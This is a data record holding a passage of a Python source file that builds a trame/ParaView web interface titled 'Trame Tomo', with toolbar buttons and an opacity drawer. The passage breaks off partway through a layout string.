+{"seq_id":"42454861","text":"from paraview import simple\n\nfrom trame.ui.vuetify import SinglePageWithDrawerLayout\nfrom trame.widgets import paraview, vuetify\n\n\ndef initialize(server):\n view = simple.GetRenderView()\n window = view.GetRenderWindow()\n\n if window:\n # Hide the render window\n window.OffScreenRenderingOn()\n\n state, ctrl = server.state, server.controller\n state.trame__title = \"Trame Tomo\"\n\n with SinglePageWithDrawerLayout(server) as layout:\n # Toolbar\n layout.title.set_text(\"Trame Tomo\")\n with layout.toolbar:\n with vuetify.VBtn(\n icon=True, click=ctrl.open_file, small=True, classes=\"mx-4\"\n ):\n vuetify.VIcon(\"mdi-folder-file-outline\")\n\n vuetify.VSpacer()\n with vuetify.VBtn(icon=True, click=ctrl.reset_camera):\n vuetify.VIcon(\"mdi-crop-free\")\n\n with layout.drawer as drawer:\n drawer.width = 400\n state.opacities = {\n 'points': [0, 0, 1, 1],\n 'gaussians': [],\n }\n with vuetify.VCard():\n with vuetify.VCardText(style='height: 400px;') as content:\n content.add_child(f\"\"\"\n